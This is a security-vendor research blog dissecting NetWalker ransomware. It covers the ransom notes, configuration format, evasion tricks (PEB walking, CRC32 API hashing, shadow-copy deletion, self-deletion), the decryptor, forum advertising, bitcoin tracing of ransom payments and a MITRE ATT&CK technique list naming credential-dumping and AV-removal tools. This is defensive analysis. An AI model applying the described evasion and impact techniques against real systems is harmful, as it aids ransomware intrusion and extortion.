The NetWalker ransomware, initially known as Mailto, was first detected in August 2019. Since then, new variants were discovered throughout 2019 and the beginning of 2020, with a strong uptick noticed in March of this year.

NetWalker has noticeably evolved to a more stable and robust ransomware-as-a-service (RaaS) model, and our research suggests that the malware operators are targeting and attracting a broader range of technically advanced and enterprising criminal affiliates.

McAfee Advanced Threat Research (ATR) discovered a large sum of bitcoins linked to NetWalker which suggest its extortion efforts are effective and that many victims have had no option other than to succumb to its criminal demands.

We approached our investigation of NetWalker with some possible ideas about the threat actor behind it, only to later disprove our own hypothesis. We believe the inclusion of our thinking, and the means with which we debunked our own theory, highlight the importance of thorough research and we welcome further discussion on this topic. We believe it starts valuable discussions and helps avoid duplicate research efforts by others. We also encourage our peers in the industry to share information with us in case you have more evidence.

McAfee protects its customers against the malware covered in this blog in all its products, including personal antivirus, endpoint and gateway. To learn more about how McAfee products can defend against these types of attacks, visit our blog on Building Adaptable Security Architecture Against NetWalker.

Check out McAfee Insights to stay on top of NetWalker’s latest developments and intelligence on other cyber threats, all curated by the McAfee ATR team. Not only that, Insights will also help you prioritize threats, predict if your countermeasures will work and prescribe corrective actions.

Introduction

Since 2019, NetWalker ransomware has reached a vast number of different targets, mostly based in western European countries and the US. Since the end of 2019, the NetWalker gang has indicated a preference for larger organisations rather than individuals. During the COVID-19 pandemic, the adversaries behind NetWalker clearly stated that hospitals will not be targeted; whether they keep to their word remains to be seen.

The ransomware appends a random extension to infected files and uses Salsa20 encryption. It uses some tricks to avoid detection, such as a new defence evasion technique, known as reflective DLL loading, to inject a DLL from memory.

The NetWalker collective, much like those behind Maze, REvil and other ransomware, threatens to publish victims’ data if ransoms are not paid.

As mentioned earlier, NetWalker RaaS prioritizes quality over quantity and is looking for people who are Russian-speaking and have experience with large networks. People who already have a foothold in a potential victim’s network and can exfiltrate data with ease are especially sought after. This is not surprising, considering that publishing a victims’ data is part of NetWalker’s model.

The following sections are dedicated to introducing the NetWalker malware and displaying the telemetry status before moving on to the technical malware analysis of the ransomware’s behaviour. We will explain how the decryptor works and show some interactions between NetWalker’s operators and their victims. After this, we discuss the changes in modus operandi since September 2019, especially regarding payment behaviour. Then we show our attempts, unfruitful as they were, at discovering a link between NetWalker and previous, seemingly unrelated ransomware variants. Finally, we deliver an overview of IOCs related to NetWalker and its MITRE ATT&CK techniques.

Telemetry

Using McAfee’s billion Insights sensors, we can show the global prevalence of the NetWalker ransomware.

Figure 1. McAfee MVISION Insights shows global prevalence of the NetWalker ransomware

Technical Analysis

Ransom note (pre-March 2020)

Before March 2020, the NetWalker ransom note indicated how to contact the adversary directly using anonymous email account services with random names (such as kkeessnnkkaa@cock.li and hhaaxxhhaaxx@tuta.io):

Figure 2. Example of ransom note prior to March 2020

Ransom Note (Post-March 2020)

On 12 March 2020, a researcher shared a screenshot of a new NetWalker ransom note in a tweet and we can see that the attackers have changed the contact method significantly. Email communication has been dropped completely with victims now required to make contact through the NetWalker Tor interface where, after submitting their user key, they will then be redirected to a chat with NetWalker technical support. This change in contact method coincides with underground forum postings where NetWalker revealed it was opening its RaaS up for new affiliates. The Tor page was not the only noticeable change we will highlight in this blog.

Figure 3. Example of ransom note after March 2020

NetWalker Analysis

Figure 4. NetWalker behavior

NetWalker Resource Analysis (Pre-March 2020)

The NetWalker malware uses a custom resource type (1337 or 31337) containing its entire configuration. This file is extracted to memory and decrypted using the RC4 algorithm with a hard-coded key in the resource.

Before 12 March 2020, NetWalker used the email contact process between its support operation and the victims to proceed with payment and send the decryption program. To do this, NetWalker used its configuration file in the resource to set its encryption mode, the name of the ransom note, etc., and email contacts.

Name wwllww.exe
Size 96256 bytes
File-Type EXE
SHA 256 58e923ff158fb5aecd293b7a0e0d305296110b83c6e270786edcc4fea1c8404c
Compile time 6 December 2019

Figure 5. NetWalker resource from wwllww.exe

Once decrypted, the configuration file reveals several parameters, allowing us to understand how it works (how it constitutes the ransom note, the number of threads allocated for encryption, etc.):

mpk Public key
mode Encryption mode
thr Allocated threads for encryption process
spsz Encryption chunk
namesz Name length
idsz  ID length
crmask .mailto[email].{ID}
mail Contact mail
lfile Ransom Note name
lend B64 encoded ransom note
white Encryption whitelist
kill Processes, tasks, service names to terminate
unlocker Decryption exclusion list

NetWalker Resource Analysis (Post-March 2020)

When Netwalker changed its contact mode and switched from email to the submission of the user key directly on the web portal of the group’s blog, the configuration file in the resource also changed.  We found changes in the configuration file, such as the disappearance of the contact “mail” and “crmask” fields (previously set as XXX@cock.li,XXX@tuta.io, etc., and .mailto[email].{ID}). This field was replaced by “onion1” and “onion2”, and these fields are set with the NetWalker blog URL/payment page (hxxp://rnfdsgm<snip>drqqd.onion/). We also noticed that the NetWalker developers complemented their “unlocker” field with some specific values (e.g. “psexec.exe, system, forti*.exe, fmon.exe*, etc”).

Name cnt.ex
Size 70656 bytes
File-Type EXE
SHA 256 26dfa8512e892dc8397c4ccbbe10efbcf85029bc2ad7b6b6fe17d26f946a01bb
Compile time 2 May 2020

Figure 6. NetWalker resource from cnt.ex

Usually, attackers use RC_DATA or a malicious BITMAP. The latter can, for example, be a regular Bitmap (open matrix image format used by Windows) that can be used by malware to execute code or as a payload dropper. The image’s pixels are an actual binary representation of the payload. This process can be summarized as Exe -> Resources -> BMP with embedded data in pixels fetched and decrypted by, e.g. a DLL -> Payload), etc. However, in this case, they use this special custom type to increase obfuscation. The NetWalker developers chose custom types by using 1337 or 31337 structs, so the resource format does not change. However, as we said, several values have changed or been replaced:

mpk Public Key
mode Encryption mode
spsz Encryption chunk
thr Allocated threads for encryption process
namesz Name length
idsz ID length
lfile Ransom Note name
onion1 Blog URL 1
onion 2 Blog URL 2
white Encryption whitelist
kill Processes, tasks, service names to terminate
net Network resources encryption
unlocker Decryption exclusion list
lend B64 encoded ransom note

 

NetWalker Executable Analysis (Post-March 2020)

The malware sample used for this blog post has the same information:

Name c21ecd18f0bbb28112240013ad42dad5c01d20927791239ada5b

61e1c6f5f010

Size 70656 bytes
File-Type EXE
SHA 256 c21ecd18f0bbb28112240013ad42dad5c01d20927791239ada5b

61e1c6f5f010

Compile time 2 May 2020

The unpacked malware is a binary file of 32 bits that can be found as an EXE file.

Figure 7. Information sample of the malware

The malware’s first action is to combine all the required functions it needs into one large function, combining the modules already loaded in Windows with additional DLLs as described below.

Instead of searching for the function in the usual way, the malware makes a CRC32 hash of the name of each function and compares with hardcoded values. Additionally, instead of using the function “GetProcAddress”, the malware uses the Process Environment Block (PEB) to make analysis harder.

Figure 8. Get the module accessing the PEB and using a CRC32

If the module cannot be discovered, it will load with “LdrLoadDll”, a native function of Windows, to try avoiding hooks in the usual functions, e.g. “LoadLibraryW”:

Figure 9. Load library using LdrLoadDll

Figure 10. Get functions from module, e.g. using a CRC32 hash

If the malware fails to get a function, it will go to a “sleep” call and terminate itself.

Later, the malware extracts the configuration file from a resource with a custom type and a custom name using the functions “FindResourceA”, “LockResource”, “LoadResource” and “SizeOfResource”. The file extracted in memory is decrypted using the RC4 algorithm with a hardcoded key in the resource.

The struct of the resource is:

  • 4 bytes -> The size of the hardcoded key to decrypt the configuration file.
  • Variable size -> the hardcoded key to decrypt the configuration file.
  • Variable size -> the configuration file encrypted.

The malware reads the first 4 bytes and reserves memory with the size of the password and reserves memory of the resource minus 4 bytes and the size of the password. Finally, it decrypts the configuration file:

Figure 11. Get configuration file and decrypt it

If the malware fails to get the configuration file, it will terminate itself.

After getting the configuration file, the malware will parse it and save the fields in memory and write in the registry information to encrypt the files in the machine. The malware will try first to write in the registry-hive “HKEY_LOCAL_MACHINE” but if it cannot create it, it will use the registry-hive “HKEY_CURRENT_USER”:

Figure 12. Write in the registry

After the writing in the registry has been completed, it will get some privileges using a token as SE_DEBUG_PRIVILEGE and SE_IMPERSONATE_PRIVILEGE:

Figure 13. Get some special privileges in the token

Later, the malware creates three threads, one to get information about the machine, such as the operating system version, one to get processes and the last one to get services in the system.

After this step, it will get the system directory and use “VSSadmin” to delete the Volume Shadow copies of the system. Volume Shadow copies can contain copies of the encrypted files and would be an option to restore from if no backup exists.

Figure 14. Delete the shadow volumes

Later, the malware will enumerate the logical units, prepare the new extension for the future encrypted files, based on the size that is defined in the ransomware config with a random extension, and encrypt all files in the fixed type units and remote units with the new extension.

Figure 15. Crypt the files

After all these steps have been completed, it will create the ransom note on the desktop using the functions “SHGetFolderPathlW” and “CreateFileW”. Subsequently, it will write the ransom note from the memory into a new file with the function “WriteFile”. The malware will create the ransom note in the root folder (for example “c:\”) of each logical unit. Next, it will launch “notepad.exe” with an argument to the ransom note file to show the user what happened on the system:

Figure 16. Creation of the ransom note in the desktop and root units

Finally, after the encryption of the files and creation of the ransom note, the malware creates a bat file in the %temp% folder of the machine with a temporary name and writes the content to destroy itself using the program “taskkill”. The batch script will delete the malware sample with its path using the command “del” and finally delete the bat file with the command “del %0%”. Of course, as the malware uses the “del” command without destroying itself before the deletion, it can be recovered with some forensic tools with luck (the same can also be said for the bat file).

This way the malware tries to remove itself from the machine to avoid being detected and analyzed by security researchers:

Figure 17. Get Temp path and make a temporary file as a bat and launch it

Finally, the malware will finish with “ExitProcess”.

Decryptor

When a NetWalker victim goes through technical support (see an example of this below) and pays the ransom demanded by the group they will be able to download the decryptor to clean up their environment.

Figure 18. Conversation with NetWalker operators

The download is done directly from the NetWalker Tor site, where the payment page switches to a download page certifying that the payment was made and received:

Figure 19. Decryptor download

The decryptor is delivered in a zip archive containing the decryptor executable and a note explaining how to run the program correctly:

Figure 20. Decryptor delivery

The program launches a graphical interface allowing the user to decipher their workstation automatically or manually:

Figure 21. Decryptor execution

At the end of the decryption process, the program indicates the number of decrypted files, deletes the ransom note if the user has checked that option, and terminates, leaving the user to resume their work peacefully:

Figure 22. Decryptor has finished the decryption process

The decryptor program appears unique and is linked to one victim specifically. In our example, it only decrypts the files belonging to the victim who made the payment from the user key specified in the ransom note.

Underground Advertising

In March 2020, the moniker Bugatti began actively advertising the NetWalker Ransomware-as-a-Service on two popular underground fora. Bugatti seems to have joined the underground scene in February 2020 but claims to have been active with NetWalker ransomware since September 2019. We have seen NetWalker activity before March but there has been a noticeable uptick in larger victims since their advertisement. For a relatively new ransomware it has been well received and respected among other cybercriminals as compared to, for instance, Nemty ransomware. The strength of NetWalker’s reputation is such that our current hypothesis is that the individual behind Bugatti is most likely a well-respected and experienced cybercriminal, even though it is a new moniker.

Figure 23. Bugatti advertising NetWalker on an underground forum

Bugatti provides regular updates on the improvements in the ransomware, such as the popular Invoke-ReflectivePEInjection method, also commonly used by Sodinokibi. In addition to the improvements in the ransomware, open slots for new affiliates are advertised. Bugatti strongly emphasized that they are primarily looking for experienced affiliates that focus on compromising the complete networks of organizations as opposed to end users. NetWalker is clearly following in the footsteps of its illustrious targeted ransomware peers like Sodinokibi, Maze and Ryuk.

One forum message in particular caught our attention as it included screenshots of several partial bitcoin addresses and USD amounts. This was most likely done to showcase the financial success of the ransomware. We have seen a similar posting in the past with the influential Sodinokibi affiliate Lalartu, so we decided to follow the money once more.

Figure 24. Bugatti is looking for advanced affiliates and shows samples of BTC payments

With the help of CipherTrace software we were able to find the complete BTC addresses from the screenshot and investigate the ledger further:

Screenshot 1

3JHTYZhRmMcq7WCKRzFN98vWvAZk792w9J

Screenshot 2

39aovzbz5rGoQdKjDm6JiybkSu1uGdVJ2V

Screenshot 3

39NRnZtgACDVhhmc7RwmvH9ZDUKTNwwaeB

Screenshot 4

3L4AW5kHnUCZBBjg2j1LBFCUN1RsHPLxCs

Following the Money

In the transactions mentioned in the underground forum post, the ransom amount payed by the victims is presumably shown. Since the bitcoin blockchain is a publicly accessible ledger, we can follow the money and see where the ransomware actors are transferring it to. In the case of the four posted transactions above, the full amount payed by the victim was transferred to two addresses (these addresses begin with bc1q98 and 1DgLhG respectively). It is safe to say that these two bitcoin addresses are under control of the NetWalker actors. We then proceeded on to analyze all incoming transactions to these two addresses and we were able to make the following observations:

  • The first incoming transaction occurs on 1 March 2020.
  • On 30 March 2020 the first incoming transaction appears where the amount is split between 4 different bitcoin addresses. A split like this is typically seen in Ransomware-as-a-Service, where the ransom payment is split between the RaaS operators and the affiliate who caused the infection. In this first transaction, the split is 80%, 10% and two 5% portions. This split matches the advertisement on the underground forum (80% – 20%).
  • The two 5% portions of the ransom payments that are split, seem to be consistently transferred to the two bitcoin addresses we revealed earlier (bc1q98 and 1DgLhG).
  • While the beneficiaries of the 5% cuts remain the same, the beneficiary of the 10% cut seems to change over time. Based on the forum post we assume these addresses also belong to the NetWalker actors.
  • Payments to the bc1q98 and 1DgLhG addresses that are not being split continue up until the end of May. Possibly the initial NetWalker operators added a RaaS operation, while continuing to cause NetWalker infections themselves.
  • While analyzing the bitcoin addresses that received 80% or more of the transaction amount, we noticed that there are some addresses that receive payments multiple times. A possible explanation could be that the address is configured as payout addresses for a certain campaign or affiliate. We identified 30 unique bitcoin addresses that seem to be the beneficiary of this larger portion of the ransom transaction. Some of these only received one payment but there are several that received multiple payments.
  • In the two addresses uncovered by tracing the transactions a total of 641 bitcoin is held on 27 July 2020. Which at the current market value of bitcoin is worth well over 7 million USD.

Amounts Extorted

Working under the hypothesis that all the incoming transactions are ransomware payments; we can make the following observations:

  • We found 23 transactions where the ransom payments were not split up and the beneficiaries are the two bitcoin addresses found by following the transactions mentioned in the underground forum post. The total amount of bitcoin extorted this way between 1 March 2020 and 27 July 2020 is 677 BTC. Additionally, the amount received from remaining transactions following the Ransomware-as-a-Service scheme by these addresses between 1 March 2020 and 27 July 2020 is 188 BTC.
  • In the transactions that are split, the largest amount (usually 80% to 90% of the total transaction value) is presumably transferred to the affiliate that caused the infection. When we summed up these largest portions, we saw a total of 1723 BTC being transferred to affiliates.
  • The total amount of extorted bitcoin that has been uncovered by tracing transactions to these NetWalker related addresses is 2795 BTC between 1 March 2020 and 27 July 2020. By using historic bitcoin to USD exchange rates, we estimate a total of 25 million USD was extorted with these NetWalker related transactions.

Even though we do not have complete visibility into the BTC flow before NetWalker started ramping up, one thing is certain, this quarter alone it has been highly successful at extorting organisations for large amounts of money. All this at a time when many sectors are struggling because people are sheltering in place and governments are trying to keep businesses from going bankrupt. NetWalker is making millions off the backs of legitimate companies.

Figure 25. Overview of uncovered bitcoin transactions, highlighting the two identified actor addresses.

Observed Changes

While talking about the impact of NetWalker with our partners, we learned that the change in modus operandi not only affected the way the actors communicate with their victims. When there was a change from email communication to a dedicated Tor hidden service, the actors also moved away from using legacy bitcoin addresses to SegWit addresses. The benefits of using the newer SegWit addresses include faster transaction time and lower transaction cost. The NetWalker advertisement on the underground forum mentions instant and fully automatic payments around the time of this observed change. This makes us believe the ransomware actors were professionalizing their operation just before expanding to the Ransomware-as-a-Service model.

Comparison with Previous Ransomware

Given the sudden appearance of NetWalker ransomware and the associated threat actor, it suggests that some prior knowledge on ransomware development or underground presence had to be in place. Armed with this hypothesis, we searched for possible links to underground actors and other ransomware strains that might fit the bill. We came across one threat actor offering ransomware that caught our attention. It was the use of the name NetWalker, in combination with a strong ransomware connection, that sparked our interest.

Some years ago, a threat actor using the moniker Eriknetwalker was advertising ransomware on several underground forums. We found posts from 2016 and the latest public activity was around June 2019, several months before NetWalker ransomware made its appearance.

Figure 26. Eriknetwalker began advertising their ransomware in 2016 (Google-translated from Russian)

Based on our underground research, we linked the moniker Eriknetwalker to the development and/or distribution of Amnesia, Bomber and Scarab ransomware. Eriknetwalker stopped advertising ransomware around June 2019. Therefore, we decided to perform a comparative analysis between the different ransomware strains linked to Eriknetwalker and some of the earliest versions of NetWalker we could find.

The goal of this comparative analysis was to identify whether there was an overlap between source codes. Such overlap could suggest a stronger link between the current NetWalker version and the other ransomware versions from Eriknetwalker, possibly even explaining the name overlap.

To execute the analysis, we used several tools one of which was the binary visualization tool Veles, which dynamically translates binary information into an abstract visualization that allows us to identify and compare patterns.

The different types of ransomware we began analyzing were the variants of Amnesia, Scarab, and NetWalker.

Figure 27. Flat visualization of binary data of the different ransomware variants

Figure 28. 3D visualization of binary data of the different ransomware variants

Visualizing data in such a manner is a way to use the human brain to quickly identify patterns and be able to draw comparisons between objects. In our case, we see that, based on the binary data visualized in Figures 27 and 28, the ransomware binaries do yield differences that we cannot ignore.

Figure 29. Comparison of source code results

Figure 29 shows the results of a source code similarity analysis led on the different variants of ransomware named in the figure itself. Interesting enough, Scarab and Amnesia show a higher overlap with Buran and Zeppelin than the early NetWalker samples. The percentages shown are the amount of code that is similar between two variants.

As illustrated in the overview, the September 2019 NetWalker version has a different codebase from the ErikNetWalker-linked ransomware variants. This finding disproves our earlier hypothesis that NetWalker is linked to the older Amnesia variants based on code overlap.

Often, research teams do not publish their results when it disproves their own hypothesis. However, for the sake of transparency, we decided to include our research efforts.

YARA Rules

We uploaded a YARA rule to detect almost all the samples observed in the wild to date.

Indicators of Compromise

During our investigation we have observed numerous IoCs linked to NetWalker ransomware. To obtain them please visit our McAfee ATR GitHub site, or get the latest NetWalker IoCs and intelligence on many other threats with McAfee Insights.

MITRE ATT&CK Techniques

The below techniques were based on our research and complemented with research from industry peers.

  • Initial Access
    • Exploit Public-Facing Application (T1190) : Exploit Tomcat, Exploit WebLogic
    • Spear phishing Attachment (T1566.001): Phishing email
    • Valid Accounts (T1078): RDP compromised
  • Execution
    • PowerShell (T1059.001): PowerShell Script
    • Command and Scripting Interpreter: Windows Command Shell (003)
    • Service Execution (T1569.002): PsExec
    • Native API (T1106): Use Windows API functions to inject DLL
    • Windows Management Instrumentation (T1047)
  • Persistence
    • Registry Run Key (T1547.001): Place a value on RunOnce key
    • Modify Registry key (T1112): Create its own registry key in \SOFTWARE\<uniquename>
  • Privilege Escalation
    • Exploitation for Privilege Escalation (T1068): CVE-2020-0796, CVE-2019-1458, CVE-2017-0213, CVE-2015-1701
    • Process Injection (T1055.001): Reflective DLL Injection
  • Defense Evasion
    • Disabling Security Tools (T1562.001): ESET AV Remover, Trend Micro’s Security Agent Uninstall Tool, Microsoft Security Client Uninstall
    • Process Injection (T1055.001): Reflective DLL Injection
    • Deobfuscate/Decode Files or Information (T1140)
    • Obfuscated Files or Information (T1027): PowerShell Script uses Base64 and hexadecimal encoding and XOR-encryption
  • Credential Access
    • Credential Dumping (T1003): Mimikatz, Mimidogz, Mimikittenz, Windows Credentials Editor, Pwdump, LaZagne
    • Brute Force (T1110.001): NLBrute
  • Discovery
    • Network Service Scanning (T1046): SoftPerfect Network Scanner
    • Security Software Discovery (T1518.001)
    • System Information Discovery (T1082)
  • Lateral Movement
    • Third-Party Software (T1072): TeamViewer, Anydesk
    • Service Execution (T 1569.002): PsExec
    • Lateral Tool Transfer (T1570)
  • Collection
    • Data from information repositories (T1213)
    • Data from local system (T1005)
    • Data from network shared drive (T1039)
  • Command and Control
    • Ingress Tool Transfer (T1105)
  • Impact
    • Data Encrypted (T1486): NetWalker Ransomware
    • Inhibit System Recovery (T1490): Shadow Copies Deleted
    • Service Stop (T1489)

Conclusion

Ransomware has evolved into a lucrative business for threat actors, from underground forums selling ransomware, to offering services such as support portals to guide victims through acquiring crypto currency for payment, to the negotiation of the ransom. McAfee’s Advanced Threat Research team has analysed the NetWalker ransomware and have been following its evolution from the initial sighting of the Mailto ransomware to its redevelopment into the NetWalker ransomware. The recent shift to a business-centric model of Ransomware-as-a-Service is a clear sign that it is stepping up, so it seems that the NetWalker group is following in the footsteps of REvil and other successful RaaS groups. The ransomware developers have proven the ability to refocus and capitalize on current world events and develop lures to help ensure the effectiveness of the ransomware, which has allowed them to become selective of their affiliates by limiting access to the ransomware to only those with vetted access to large organizations. As development of the ransomware continues, we have witnessed recent shifts in activity that closely follow in the footsteps of other ransomware developments, including threatening victims with the release of confidential information if the ransom is not met.

McAfee ATR is actively monitoring ransomware threats and will continue to update McAfee MVISION Insights and its social networking channels with new and current information. MVISION Insights is the only proactive endpoint security solution that simultaneously prioritizes and predicts threats that matter to our customers while offering prescriptive guidance on what to do in their local environment. Want to stay ahead of the adversaries? Check out McAfee MVISION Insights for more information. If you want to experience some of the MVISION Insights capabilities, go the Preview of MVISION Insights where you can select the top threat information that is available.

Authored by: Thibault Seret, Valentine Mairet, Jeffrey Sman, Alfred Alvarado, Tim Hux, Alexandre Mundo, John Fokker, Marc Rivero Lopez and Thomas Roccia.

The post Take a “NetWalk” on the Wild Side appeared first on McAfee Blogs.